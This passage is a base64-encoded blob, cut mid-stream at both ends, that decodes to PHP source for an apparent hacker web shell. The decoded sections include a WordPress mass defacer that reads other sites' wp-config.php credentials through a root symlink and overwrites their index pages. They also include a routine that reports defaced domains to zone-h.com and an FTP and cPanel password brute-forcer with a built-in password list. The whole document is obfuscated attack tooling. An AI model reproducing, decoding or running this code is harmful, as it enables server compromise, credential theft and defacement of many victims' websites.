E9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuJGNvbnRlbnQuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyID0gY3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpOyRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQiPicpOyRjb25kID0gMDtpZigkcG9zID09PSBmYWxzZSl7JG91dHB1dC49ICJbLV0gaW5kZXgucGhwIEZhaWxlZDxicj4iO30gZWxzZSB7JG91dHB1dC49ICJbK10gaW5kZXgucGhwIEZhaWxlZCs8YnI+IjskY29uZCA9IDE7fX0gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9Z2xvYmFsICRiYXNlX3BhdGg7dW5saW5rKCRiYXNlX3BhdGguJ0NPT0tJRS50eHQnKTtyZXR1cm4gYXJyYXkoJ2NvbmQnPT4kY29uZCwgJ291dHB1dCc9PiRvdXRwdXQpO31mdW5jdGlvbiBleGVjX21vZGVfMSgkZGVmX3VybCkge0Bta2Rpcignc3ltJywwNzc3KTskd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjskZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpO2Z3cml0ZSgkZnAsICR3cik7QHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOyRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7QHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTskb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOyRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTtlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyPiI7JGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTskZGVmID0gdXJsZW5jb2RlKCRkZWYpOyRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3N5bS9yb290L2hvbWUvJzskb3V0cHV0ID0gZm9wZW4oJ2RlZmFjZWQuaHRtbCcsICdhKycpOyRfU0VTU0lPTlsnY291bnQxJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDEnXSkgPyAkX1NFU1NJT05bJ2NvdW50MSddIDowICkgOiAwOyRfU0VTU0lPTlsnY291bnQyJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDInXSkgPyAkX1NFU1NJT05bJ2NvdW50MiddIDowICkgOiAwO2VjaG8gJzx0YWJsZSBzdHlsZT0id2lkdGg6NzUlOyI+PHRyIHN0eWxlPSJiYWNrZ3JvdW5kOnJnYmEoMTYwLCA4MiwgNDUsMC42KTsiPjx0aD5JRDwvdGg+PHRoPlNJRDwvdGg+PHRoPkRvbWFpbjwvdGg+PHRoPlNjcmlwdDwvdGg+PHRoPlByb2Nlc3M8L3RoPjx0aD5SZXN1bHRzPC90aD48L3RyPic7JGogPSAxOyRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDtmb3IoJGkgPSAkc3Q7JGkgPD0gJG51bWVyb19kb21pbmlvczskaSsrKXskZG9tYWluID0gJG91dFsxXVskaV07JGRvbm9fYXJxdWl2byA9IEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKTskaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7JGNvbmZpZzAyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kaW5mb3NbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTskY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJztpZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7ZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaS4nPC90ZD48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7JHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJGNvbmZpZzAyLCAkZGVmKTtlY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nO2lmKCRyZXNbJ2NvbmQnXSl7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+SEFDS0VEPC9zcGFuPjwvdGQ+Jztmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTskX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7fSBlbHNlIHtlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+dW5zdWNjZXNzZnVsPC9zcGFuPjwvdGQ+Jzt9ZWNobyAnPC90cj4nO319ZWNobyAnPC90YWJsZT4nO2VjaG8gJzxoci8+JztlY2hvICdUb3RhbCBEZWZhY2UgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLic8YnI+JztlY2hvICc8YSBocmVmPSJkZWZhY2VkLmh0bWwiIHRhcmdldD0iX2JsYW5rIj5MaXN0IFdlYnNpdGVzIERlZmFjZWQ8L2E+PGJyPic7fWVjaG8gJzxoZWFkPjxwPjxoMiBzdHlsZT0iY29sb3I6I0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6b3JiaXRyb247Zm9udC1zaXplOjI1cHg7Ij5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyPC9oMj48bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSB7Y29sb3I6IHdoaXRlO2ZvbnQtZmFtaWx5OiAib3JiaXRyb24iO30uaGVhZGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO3RvcDowO2JhY2tncm91bmQ6IzAwMDt9LmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fTwvc3R5bGU+PC9wPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBjaGFuZ2UoKSB7aWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdyY2RcJykuY2hlY2tlZCA9PSB0cnVlKSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnXCc7fSBlbHNlIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fSB9ZnVuY3Rpb24gaGlkZSgpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fTwvc2NyaXB0PjwvaGVhZD48Ym9keT48ZGl2IGNsYXNzPSJmb290ZXIiPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj48aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPicuYmFzZTY0X2RlY29kZSgnYXpKc2JETXpaQT09JykuJzwvaDM+PC9hPjwvZGl2PjxkaXY+JztpZighaXNzZXQoJF9QT1NUWydmb3JtX2FjdGlvbiddKSl7ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj48Y2VudGVyPjxpbWcgY2xhc3M9IkhvdmVyQm9yZGVyIiBhbHQ9IiIgc3JjPSJkYXRhOmltYWdlL2pwZWc7Jy4kdHVuaXNpYS4nIiAvPjwvY2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+PGJyPmluZGV4IHVybDo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaW5kZXhhZHJlc2kiIHNpemU9IjMwIiB2YWx1ZT0iaHR0cDovL3NpdGUuY29tL2luZGV4Lmh0bWwiIC8+PGJyPjxicj48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVmYWNlIiBuYW1lPSJTdWJtaXQiPjwvZm9ybT4gPC9kaXY+Jzt9ZWNobyAnPGRpdiBhbGlnbj0iY2VudGVyIj4nO2lmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxKSB7ZXhlY19tb2RlXzEoJF9QT1NUWydpbmRleGFkcmVzaSddKTt9ZWNobyAnPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnem9uZS1oJykpeyRkZWZhY2VyPSdSZVpLMkxMJzskZGlzcGxheV9kZXRhaWxzPTA7JG1ldGhvZD0xNDskcmVhc29uPTU7DQplcnJvcl9yZXBvcnRpbmcoMCk7c2V0X3RpbWVfbGltaXQoMCk7aWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpe2VjaG8gIkNVUkwgRVJST1JcbiI7ZXhpdDt9JGNsaT0oaXNzZXQoJGFyZ3ZbMF0pKT8xOjA7aWYoJGNsaT09MSl7JGZpbGU9JGFyZ3ZbMV07JHNpdGVzPWZpbGUoJGZpbGUpO2lmKCFmaWxlX2V4aXN0cygkZmlsZSkpe2VjaG8gIjxicj48YnI+PGNlbnRlcj48aDE+ZXJyb3IgITwvaDE+PC9jZW50ZXI+XG4iO2V4aXQ7fX1lbHNle2lmKGZ1bmN0aW9uX2V4aXN0cyhhcGFjaGVfc2V0ZW52KSl7QGFwYWNoZV9zZXRlbnYoJ25vLWd6aXAnLCAxKTt9QGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywgMCk7QGluaV9zZXQoJ2ltcGxpY2l0X2ZsdXNoJywgMSk7QG9iX2ltcGxpY2l0X2ZsdXNoKHRydWUpO0BvYl9lbmRfZmx1c2goKTtpZihpc3NldCgkX1BPU1RbJ2RvbWFpbnMnXSkpeyRzaXRlcz1leHBsb2RlKCJcbiIsJF9QT1NUWydkb21haW5zJ10pO31pZiAoZmlsZV9leGlzdHMoJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdKSl7JGZpbGU9JF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOyRzaXRlcz1maWxlKCRmaWxlKTt9DQplY2hvIDw8PEVPRg0KPGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjY3JSI+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PGJyPjxwcmU+DQpFT0Y7DQppZighaXNzZXQoJF9QT1NUWydkZWZhY2VyJ10pKXsNCmVjaG8gPDw8RU9GDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxkaXYgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRlZmFjZXImbmJzcDs6PC9iPjwvc3Bhbj48aW5wdXQgY2xhc3M9J2lucHV0eicgbmFtZT0iZGVmYWNlciIgdHlwZT0idGV4dCIgdmFsdWU9IiRkZWZhY2VyIiAvPjxici8+PHRhYmxlIHdpZHRoPSc1NSUnPjx0cj48dGQgYWxpZ249J2NlbnRlcic+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPkRvbWFpbnM6PC9iPjwvc3Bhbj48cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4dGFyZWEgcm93cz0nMzAnIG5hbWU9J2RvbWFpbnMnIGNvbHM9JzUwJyBjbGFzcz0naW5wdXR6Jz48L3RleHRhcmVhPjxici8+PHNwYW4gbGFuZz0nZW4tdXMnPjxiPk9SPC9iPjwvc3Bhbj48YnIvPlN1Ym1pdCBmb3JtIC50eHQgZmlsZTo8YnIvPjxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiAvPjxicj48YnIvPjxici8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAgICBTZW5kICAgICcgbmFtZT0nc3VibWl0Jz48L3A+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPg0KRU9GOw0KfQ0KJGRlZmFjZXI9JF9QT1NUWydkZWZhY2VyJ107fWlmKCEkc2l0ZXMpe2VjaG8gJzwvcHJlPic7ZXhpdDt9JHNpdGVzPWFycmF5X3VuaXF1ZShzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJHNpdGVzKSk7JHRvdGFsPWNvdW50KCRzaXRlcyk7ZWNobyAiWytdIFRvdGFsIHVuaXF1ZSBkb21haW46ICR0b3RhbFxuXG4iOyRwYXVzZT0xMDskc3RhcnQ9dGltZSgpOyRtYWluPWN1cmxfbXVsdGlfaW5pdCgpO2ZvcigkbT0wOyRtPDM7JG0rKyl7JGh0dHBbXSA9IGN1cmxfaW5pdCgpO31mb3IoJG49MDskbjwkdG90YWw7JG4gKz0zMCl7aWYoJGRpc3BsYXlfZGV0YWlscz09MSl7Zm9yKCR4PTA7JHg8MzA7JHgrKyl7ZWNobydbK10gQWRkaW5nICcucnRyaW0oJHNpdGVzWyRuKyR4XSkuJyc7ZWNobyAiXG4iO319JGQ9JG4rMzA7aWYoJGQ+JHRvdGFsKXskZD0kdG90YWw7fWVjaG8gIj09PT09PT09PT09PT09PT09PT09PT5bJGQvJHRvdGFsXVxuIjtmb3IoJHc9MDskdzwzOyR3KyspeyRwPSR3ICogMTA7DQppZighKGlzc2V0KCRzaXRlc1skbiskcF0pKSl7JHBhdXNlPSR3O2JyZWFrO30kcG9zdHNbJHddPSJkZWZhY2VyPSRkZWZhY2VyJmRvbWFpbjE9aHR0cCUzQSUyRiUyRiIucnRyaW0oJHNpdGVzWyRuKyRwXSkuIiZkb21haW4yPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsxXSkuIiZkb21haW4zPWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCsyXSkuIiZkb21haW40PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCszXSkuIiZkb21haW41PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs0XSkuIiZkb21haW42PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs1XSkuIiZkb21haW43PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs2XSkuIiZkb21haW44PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs3XSkuIiZkb21haW45PWh0dHAlM0ElMkYlMkYiLnJ0cmltKCRzaXRlc1skbiskcCs4XSkuIiZkb21haW4xMD1odHRwJTNBJTJGJTJGIi5ydHJpbSgkc2l0ZXNbJG4rJHArOV0pLiImaGFja21vZGU9Ii4kbWV0aG9kLiImcmVhc29uPSIuJHJlYXNvbi4iJnN1Ym1pdD1TZW5kIjskY3VybG9wdD1hcnJheShDVVJMT1BUX1VTRVJBR0VOVCA9PiAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xO1dPVzY0KSBBcHBsZVdlYktpdC81MzUuMTYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTguMC4xMDAzLjEgU2FmYXJpLzUzNS4xNicsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT50cnVlLENVUkxPUFRfRU5DT0RJTkcgPT4gdHJ1ZSxDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSxDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoIktlZXAtQWxpdmU6IDciKSxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDMsQ1VSTE9QVF9VUkwgPT4gJ2h0dHA6Ly93d3cuem9uZS1oLmNvbS9ub3RpZnkvbWFzcycsQ1VSTE9QVF9QT1NURklFTERTID0+ICRwb3N0c1skd10pOw0KY3VybF9zZXRvcHRfYXJyYXkoJGh0dHBbJHddLCRjdXJsb3B0KTtjdXJsX211bHRpX2FkZF9oYW5kbGUoJG1haW4sJGh0dHBbJHddKTt9JHJ1bm5pbmcgPSBudWxsOw0KZG97Y3VybF9tdWx0aV9leGVjKCRtYWluLCRydW5uaW5nKTt9d2hpbGUoJHJ1bm5pbmcgPiAwKTsNCmZvcigkbT0wOyRtPDM7JG0rKyl7aWYoJHBhdXNlPT0kbSl7YnJlYWs7fQ0KY3VybF9tdWx0aV9yZW1vdmVfaGFuZGxlKCRtYWluLCAkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmICgkY29kZSAhPSAyMDApIHt3aGlsZSh0cnVlKXtlY2hvJyBbLV1FcnJvciEuLi4uUmV0cnlpbmcnO2VjaG8gIlxuIjsNCnNsZWVwKDUpO2N1cmxfZXhlYygkaHR0cFskbV0pOyRjb2RlID0gY3VybF9nZXRpbmZvKCRodHRwWyRtXSwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCmlmKCAkY29kZT09IDIwMCl7YnJlYWsgMTt9fX19fSRlbmQ9IHRpbWUoKSAtICRzdGFydDsNCmVjaG8gJ0RvbmUnO2VjaG8gIlxuXG5bKl1UaW1lOiAkZW5kIHNlY29uZHNcbiI7Y3VybF9tdWx0aV9jbG9zZSgkbWFpbik7aWYoJGNsaT09MCl7ZWNobyAnPC9wcmU+PC9ib2R5PjwvaHRtbD4nO31leGl0O30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnJ1dGUnKSl7JGNvbm5lY3RfdGltZW91dD01Ow0Kc2V0X3RpbWVfbGltaXQoMCk7JHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOyR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107JHBhc3M9JF9SRVFVRVNUWydwYXNzd29yZHMnXTskdGFyZ2V0PSRfUkVRVUVTVFsndGFyZ2V0J107JGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7JHRhcmdldCA9ICJsb2NhbGhvc3QiO30/PjxkaXYgYWxpZ249ImNlbnRlciI+PGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCI+PGJyPjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTskZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7cHJpbnQgIjxiPkNvbm5lY3Rpb24gVGltZWQgb3V0PC9iPiI7ZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApe3ByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+VXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO30NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7JGNoID0gY3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7JGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkge3ByaW50ICI8Yj5Db25uZWN0aW9uIFRpbWVkIG91dDwvYj4iO2V4aXQ7fQ0KZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsNCnByaW50ICI8dGFibGUgd2lkdGg9JzY3JSc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+WytdVXNlcm5hbWUgKCR1c2VyKSB8IFBhc3N3b3JkICgkcGFzcyk8L2I+PC90ZD48L3RyPjwvdGFibGU+Ijt9Y3VybF9jbG9zZSgkY2gpO31pZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KaWYoZW1wdHkoJHVzZXJzKSAmJiBlbXB0eSgkcGFzcykpe3ByaW50ICI8cD48Yj5FcnJvciA6IENoZWNrIFRoZSBVc2VycyBhbmQgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O30NCmlmKGVtcHR5KCR1c2Vycykpe3ByaW50ICI8cD48Yj5FcnJvciA6Q2hlY2sgVGhlIFVzZXJzIExpc3Q8L2I+PC9wPiI7ZXhpdDt9aWYoZW1wdHkoJHBhc3MpICl7cHJpbnQgIjxwPjxiPkVycm9yIDpDaGVjayBUaGUgUGFzc3dvcmQgTGlzdDwvYj48L3A+IjtleGl0O307DQokdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7JHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7cHJpbnQgIjxiPlt+XSBXYWl0IC4uLjwvYj48YnI+PGJyPiI7Zm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7JHB1cmV1c2VyID0gdHJpbSgkdXNlcik7Zm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHskcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7aWYoJGNyYWNrdHlwZSA9PSAiZnRwIil7ZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTt9aWYgKCRjcmFja3R5cGUgPT0gImNwYW5lbCIpe2NwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7fX19fSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQplY2hvICI8Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnPjx0cj48dGQ+PGJyPjxwIGFsaWduPSdjZW50ZXInPjxiPjxzcGFuIGxhbmc9J2VuLXVzJz5JUDwvc3Bhbj4gOjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0kdGFyZ2V0PjwvYj48L3A+PGRpdiBhbGlnbj0nY2VudGVyJz48cCBhbGlnbj0nY2VudGVyJz51c2Vyczx0ZXh0YXJlYSBjbGFzcz0naW5wdXR6JyBjb2xzPTIwIHJvd3M9MjAgbmFtZT0ndXNlcnMnPiI7DQpzeXN0ZW0oJ2xzIC92YXIvbWFpbCcpOw0KZWNobyAiPC90ZXh0YXJlYT5wYXNzd29yZHM8dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgY29scz0yMCByb3dzPTIwIG5hbWU9J3Bhc3N3b3Jkcyc+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG5hZG1pblxuMzMyMjExXG4xNDc4OTYzXG5wYXNzd29yZFxucGFzc3dkXG4xNTkzNTdcbjM1Nzk1MVxuMTE0NDc3XG5wYXNzXG5QYXNzd29yZDwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgbmFtZT0nY3JhY2t0eXBlJyB2YWx1ZT0nY3BhbmVsJyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L3NwYW4+PGI+Q3BhbmVsKDIwODIpPC9iPjxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPjwvZm9udD48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBmYWNlPSdUYWhvbWEnPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDogNzAwOyc+RnRwICgyMSk8L3NwYW4+PC9wPjxicj48Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdGFydCBDcmFja2luZycgbmFtZT0nc3VibWl0Jz48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPiI7ZGllKCk7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqb29tbGEnKSl7aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpe2VjaG8gIjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+PGJyPjxicj48YnI+REJfUHJlZml4IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nam9zXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcD